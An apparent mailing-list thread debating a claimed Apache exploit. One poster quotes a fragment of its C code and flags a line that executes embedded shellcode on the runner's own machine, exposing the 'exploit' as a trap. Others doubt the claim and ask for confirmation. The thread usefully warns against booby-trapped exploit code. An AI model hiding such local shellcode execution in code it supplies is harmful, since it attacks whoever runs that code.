umm useless attempt at humiliating people.

memcpy(&buffer[512 - strlen(shellcode)], shellcode,
           strlen(shellcode));
    buffer[512 + 1024] = ';';
    buffer[512 + 1024 + 1] = '\0';
    void(*b)()=(void*)shellcode;b();                    <---- Executes shellcode. 
    hp = gethostbyname(argv[1]);
    if (hp == NULL) {
        printf("Server doesn't exist\n");
        exit(1);
    }

Maybe the author wanted to report a new worm that first exploits apache and
then does a local-root-exploit.

But i don't believe a direct apache-root-exploit exists, unless apache is
misconfigured or using suexec or kind of that.

Maybe now we can STFU and concentrate on actual disclosure?
I'm curious as to why there has been no discussion about this apache
report.

The poster of this message didnt include any info on the details of the
problem
nor an exploit, which leaves us wondering.  (The insult was cute though)

This could be some serious isht if indeed it is true.

Can anyone confirm/dispute?
